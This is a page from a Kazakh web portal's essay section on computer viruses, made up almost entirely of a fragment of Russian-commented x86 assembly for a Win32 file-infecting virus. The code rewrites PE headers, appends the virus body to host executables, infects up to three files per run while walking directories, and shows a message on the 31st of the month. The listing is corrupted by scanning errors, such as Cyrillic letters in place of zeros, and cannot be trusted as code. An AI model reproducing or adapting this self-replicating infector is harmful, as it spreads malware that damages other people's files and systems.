Главная    Почта    Новости    Каталог    Одноклассники    Погода    Работа    Игры     Рефераты     Карты
  
по Казнету new!
по каталогу
в рефератах

Компьютерные вирусы

v  ecx
inc   eax
mul ecx
mov dword ptr [ebp+offset physicalsize],eax
 
;Вычислим виртуальный размер нового объекта
mov ecx,dword ptr [ebp+offset objalign]
mov eax,vend-vstart+1000h
xor  edx.edx
div  ecx
inc   eax
mul ecx
mov dword ptr [ebp+offset virtualsize],eax
 
;Вычислим физическое смещение нового объекта
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx,dword ptr [ebp+offset filealign]
xor  edx,edx
div  ecx
inc   eax
mul ecx
mov dword ptr [ebp+offset physicaloffset],eax
 
;Обновим размер образа (размер в памяти) файла
mov eax,vend-vstart+1000h
add eax,dword ptr [ebp+offset imagesize]
mov ecx, [ebp+offset objalign]
xor  edx,edx
div  ecx
inc  eax
mul ecx
mov dword ptr [ebp+offset imagesize],eax
 
;Скопируем новый объект в таблицу объектов
mov ecx,10
rep movsd
 
;Вычислим точку входа RVA
 
mov eax,dword ptr [ebp+offset RVA]
mov ebx,dword ptr [ebp+offset entrypointRVA]
 
mov dword ptr [ebp+offset entrypointRVA],eax
sub eax.ebx
add eax,5
 
;Установим значение, необходимое для возврата в носитель
mov dword ptr [ebp+offset subme],eax
 
;Поставим указатель позиции чтения/записи на начало РЕ-заголовка
 
push О
push О
push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call   SetFilePointer
 
;Запишем РЕ-заголовок и таблицу объектов в файл
 
push О
lea   eax,[ebp+offset bytesread]
push eax
push dword ptr [ebp+offset headersize]
lea   eax, [ebp+offset peheader]
push eax
push dword ptr [ebp+offset ahand]
call   WriteFile
 
;Увеличим счетчик заражений
 
inc   byte ptr [ebp+offset countinfect]
 
;Поставим указатель позиции чтения/записи
;по физическому смещению нового объекта
 
push О
push О
push dword ptr [ebp+offset physicaloffset]
push dword ptr [ebp+offset ahand]
call   SetFilePointer
 
;Запишем тело вируса в новый объект
push О
lea   eax, [ebp+offset bytesread]
push eax
push vend-vstart
lea   eax, [ebp+offset vstart]
push eax
push dword ptr [ebp+offset ahand]
call  WriteFile
 
;3акроем файл
notape:
push dword ptr [ebp+offset ahand]
call   CloseFile
 
; Переход к следующему файлу
findnextone:
 
;Проверим, сколько файлов заразили: если 3,
;то выходим, если меньше - ищем следующий
 
cmp byte ptr [ebp+offset countinfect],3
 
jz     outty
 
;Ищем следующий файл
 
lea   eax, [ebp+offset win32_data_thang]
push eax
push dword ptr [ebp+offset searchhandle]
call  FindNext
 
;Если файл найден, переходим к заражению
or   eax, eax
jnz  gofile
 
;Сюда попадаем, если файл не найден
foundnothing:
 
;Сменим директорию
хоr eax, eax
lea  edi, [ebp+offset tempdir]
mov ecx, 256/4
rep  stosd
lea  edi, [ebp+offset tempdirl]
mov ecx,256/4
rep  stosd
 
;Получим текущую директорию
lea  esi,[ebp+offset tempdir]
push esi
push 255
call GetCurDir
 
;Сменим директорию на "."
 
lea   eax, [ebp+offset dotdot]
push eax
call  SetCurDir
 
;Получим текущую директорию
lea  edi,[ebp+offset tempdirl]
push edi
push 255
call GetCurDir
 
;Проверим, корневая ли это директория. Если да, то выходим
mov ecx, 256/4
rep cmpsd
jnz   infectdir
 
;"3аметаем следы" и выходим в программу-носитель
outty:
 
;Возвратимся в оригинальную текущую директорию
lea  eax,[ebp+offset orgdir]
push eax
call SetCurDir
 
;Получим текущую дату и время
 
lea   eax, [ebp+offset systimestruct]
 
push eax
call GetTime
 
;Проверим число. Если это 31-ое, выдаем сообщение
cmp word ptr [ebp+offset day],31
jnz  nopayload
 
;Сообщение для пользователя
 
push 1000h    ;MB_SYSTEMMODAL
lea   eax, [ebp+offset boxtitle]
push eax
lea  eax, [ebp+offset boxmsg]
push eax
push 0
call MsgBox
 
;Выход в программу-носитель
nopayload:
pop eax
jmp eax
 
;Когда KERNEL будет обнаружен, его смещение будет записано
kern dd OBFF93B95h
 
;Значения KERNEL, известные нам
kern1    dd OBFF93B95h
kern2    dd OBFF93C1Dh
 
;Чтение текущей директории
GetCurDir:
 
;3апишем в стек значение для получения текущей
директории и вызовем KERNEL
 
push OBFF77744h
jmp [ebp+offset kern]
 
;Установка текущей директории
SetCurDir:
 
;3апишем в стек значение для установки текущей
директории и вызовем KERNEL
 
push OBFF7771Dh
jmp [ebp+offset kern]
 
;Получение времени и даты
GetTime:
 
;Проверим, какой KERNEL работает
cmp [ebp+offset kern],OBFF93B95h
jnz  gettimekern2
 
;3апишем в стек значение для получения
;времени и даты и вызовем KERNEL
 
push OBFF9DOB6h
jmp [ebp+offset kern]
gettimekern2:
 
;Запишем в стек значение для получения
;Времени и даты и вызовем KERNEL
 
push OBFF9Dl4Eh
jmp [ebp+offset kern]
 
;Вывод сообщения
MsgBox:
 
;Запишем в стек значение для вывода сообщения и вызовем KERNEL
push OBFF638D9h
jmp [ebp+offset kern]
 
;Поиск первого файла
FindFile:
 
;Запишем в стек значение для поиска первого файла
;и вызовем KERNEL
 
push OBFF77893h
jmp [ebp+offset kern]
 
;Поиск следующего файла
FindNext:
 
;Запишем в стек значение для поиска
;следующего файла и вызовем KERNEL
 
push OBFF778CBh
jmp [ebp+offset kern]
 
;Открытие/создание файла
CreateFile:
 
;3апишем в стек значение для открытия/создания файла
;и вызовем KERNEL
 
push OBFF77817h
jmp [ebp+offset kern]
 
;Установка указателя чтения/записи
SetFilePointer:
 
;Запишем в стек значение для установки
;указателя чтения/записи файла и вызовем KERNEL
 
push OBFF76FAOh
jmp [ebp+offset kern]
 
;Чтение из файла
ReadFile:
 
;3апишем в стек значение для чтения из файла и вызовем KERNEL
push OBFF75806h
jmp [ebp+offset kern]
 
;3апись в файл
WriteFile:
Пред.678910След.
скачать работу

Компьютерные вирусы

 

Отправка СМС бесплатно

На правах рекламы


ZERO.kz
 
Модератор сайта RESURS.KZ